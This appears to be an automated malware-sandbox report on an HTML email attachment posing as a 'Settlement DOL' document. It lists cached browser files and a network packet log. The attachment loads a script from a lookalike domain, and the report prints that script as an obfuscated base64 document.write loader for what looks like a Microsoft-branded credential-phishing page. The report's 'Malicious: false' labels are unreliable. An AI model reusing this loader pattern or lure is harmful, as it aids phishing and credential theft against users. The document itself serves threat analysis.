b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54456)
Category:	downloaded
Size (bytes):	54641
Entropy (8bit):	4.712564291864468
Encrypted:	false
SSDEEP:	768:SuV31Uz1RPq4NvvU63HJYkQCZ/WMQyjJKp7CzsGnQzU:SuczrC4NnzHSBCkgu7cs1w
MD5:	251D28BD755F5269A4531DF8A81D5664
SHA1:	C0F035B41B23C6E8FAB735F618AA3CFF0897B4F9
SHA-256:	AFDC6BF2DE981FFD7D370B76F44E7580572F197EFBE214B9CFA4005D189D8EAE
SHA-512:	8111F411C21C6011644139DBA4EF24D1696C0F6D31E55CE384E0353A0F3E65402170C502BDDF803C3DF9149C371B31C03F77BE98FDBC61C0C9C55AFBE399681F
Malicious:	false
URL:	https://use.fontawesome.com/releases/v5.7.0/css/all.css
Preview:	/!. Font Awesome Free 5.7.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-lef

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	343849
Entropy (8bit):	5.6826614898075105
Encrypted:	false
SSDEEP:	6144:Ec35rIYcHSKqo/4p+9yZ74Y2SuUU2qO1yPCglhof2aejzVdA6:73aFH/TyZEFUbqO1bglhvzVdA6
MD5:	D6DAB34E67731DCD4E11077CBE10F413
SHA1:	C748535CCA16836BC8A8BBBD3ADFFB6C85F16B6B
SHA-256:	2AAF79CEE331E1BF3B0DE1F07E316AFE41657A6A4CA3DA09AEE8B9543D48CAE3
SHA-512:	7A505F83C48558C8E64167949F971AD5FB232D3DDCC089818A8FA3CF19EBEF17EEDE18603D8C338EF7BE64BD6AF3C08FEB9AE7B9AED43F41521C1A252F7D072C
Malicious:	false
URL:	https://pnnacleevaluationemployerform.com/tellmehow/trost.js
Preview:	document.write(atob( 'PCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQoNCjxoZWFkPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIuMi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjEuMS5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjMuMS5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtMktvazdNYk95eHBnVVZ2QWsvSEoyamlnT1NZUzJhdUs0UGZ6Ym03dUg2MD0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KICAgIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvcG5nIiBzaXplcz0iMTkyeDE5MiIgaHJlZj0iaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9kb21haW49bWljcm9zb2Z0LmNvbSI+DQogICAgPCEtLSBSZXF1aXJlZCBtZXRhIHRhZ3MgLS0+DQogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyI+DQogICAgPCEtLSBCb290c3RyYXAgQ1NTIC

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	123
Entropy (8bit):	5.743141510270142
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkx7E/CffD5Cme9asvLDNGxNWrp:6v/lhPQki/CwHasnNGLWrp
MD5:	A8D52F25035A199583096202967555ED
SHA1:	FE806CC8EE0C09AA316B71455E776C023111A029
SHA-256:	352A123B5FC60B04834709B12BD417DA8AEC2C4319E6486C31F6826E9E591EED
SHA-512:	8D7BE94049FBBBA1197DDA92BAF3A89EA49DA12E9753EE60837930A36CCBC85F664611168DFD3B1E0CCADB898DA73C260C72F930E195DE486F45F21F6F8C3C59
Malicious:	false
URL:	"https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://microsoft.com&size=16"
Preview:	.PNG........IHDR................a...BIDAT8.c..'.......~..N.F7.F&\..Q..`...a.{....#...'.t..>..............u:....IEND.B`.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1293
Entropy (8bit):	5.448893852817212
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4goRVc+u/rnQOY7a4gHwy96DGSSf7:coOEa4gvGOEa4goRVc+uUOEa4gHN0oD
MD5:	CBA4ED6C809962AC6C2A26842183B67A
SHA1:	3F8E077AFC8EF5BAB7FA626EA782DAE34D419BBE
SHA-256:	AAE65C231008861C6430EBE296C926E728C4D2CCB1492F86E42D760E9B67D9A5
SHA-512:	84894B90DDA3CA3487F3E4F87F8244C78BA726331AC3EA290F6BD64830B0A21856A42333CC4EDBBF23DC2F063C53AD71B3F41864275D874AEBD37C198AE1CBE0
Malicious:	false
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.743141510270142
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkx7E/CffD5Cme9asvLDNGxNWrp:6v/lhPQki/CwHasnNGLWrp
MD5:	A8D52F25035A199583096202967555ED
SHA1:	FE806CC8EE0C09AA316B71455E776C023111A029
SHA-256:	352A123B5FC60B04834709B12BD417DA8AEC2C4319E6486C31F6826E9E591EED
SHA-512:	8D7BE94049FBBBA1197DDA92BAF3A89EA49DA12E9753EE60837930A36CCBC85F664611168DFD3B1E0CCADB898DA73C260C72F930E195DE486F45F21F6F8C3C59
Malicious:	false
Preview:	.PNG........IHDR................a...BIDAT8.c..'.......~..N.F7.F&\..Q..`...a.{....#...'.t..>..............u:....IEND.B`.

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.605977681868563
TrID:
File name:	Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html
File size:	116 bytes
MD5:	1aa5e82a9d9ac395ed07ec0690030204
SHA1:	b391a9793fafbad818caef6f92e0c72d64dbff25
SHA256:	e91a8ccc616f88844b2a12cde05d7338486d131eef241b6ad6f787bdad4a70a3
SHA512:	a44c44d26324a14d4640dd7d6f03c01d665e64a57490bc5256b388e2c261fc806a93977f5caed348317e86cbb0565ad6613feede23daa66ae1659d3308fa5b62
SSDEEP:	3:r2kAqRAdu6/GYlWX/ELEGJJg8QnJKxttmP4aWRLmvGXIMwv:tAqJmW/ivJ93WAaWtsVMwv
TLSH:	86B0145F5D51C314551545C1D473D414F104711455C0CC55F1D0547771445FC5D17D4D
File Content Preview:	.... <script type="text/javascript" src="https://pnnacleevaluationemployerform.com/tellmehow/trost.js"></script>....

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 17:29:37.659332991 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:29:37.659367085 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:29:37.753092051 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:29:43.981614113 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:43.981663942 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:43.981724024 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:43.981972933 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:43.981987953 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.396712065 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.397044897 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.397067070 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.398722887 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.398788929 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.399801970 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.399888992 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.399965048 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.399975061 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.581924915 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.797863007 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.977893114 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.994292021 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994318008 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994360924 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994380951 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994399071 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994410038 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.994441032 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:44.994466066 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:44.994481087 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.024832010 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024857044 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024904013 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024913073 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.024921894 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024938107 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.024946928 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024950981 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.024964094 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.024970055 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.024991035 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.025006056 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.190857887 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.190895081 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.190912962 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.190958977 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.190964937 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.190975904 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.190994024 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.191056013 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.191056013 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.191087008 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.191154003 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.386919975 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.386955976 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387011051 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387031078 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.387063026 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387092113 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.387096882 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387155056 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.387919903 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387964010 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.387988091 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.387993097 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.388020039 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.388037920 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.388340950 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.388381004 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.388402939 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.388407946 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.388433933 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.388448000 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.419712067 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.419751883 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.419780970 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.419795990 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.419822931 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.419842958 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.586682081 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.586718082 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.586810112 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.586829901 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.586862087 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.587837934 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.587862968 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.587888002 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.587893009 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.587919950 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.587933064 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.589580059 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.589597940 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.589634895 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.589639902 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.589664936 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.589684010 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.591074944 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.591099024 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.591129065 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.591133118 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.591155052 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.591170073 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.593148947 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.593169928 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.593195915 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.593200922 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.593224049 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.593239069 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.618809938 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.618834972 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.618913889 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.618925095 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.619086027 CEST	49707	443	192.168.2.5	198.54.115.192
Apr 26, 2024 17:29:45.783292055 CEST	443	49707	198.54.115.192	192.168.2.5
Apr 26, 2024 17:29:45.783320904 CEST	443	49707	198.54.115.192	192.168.2.5
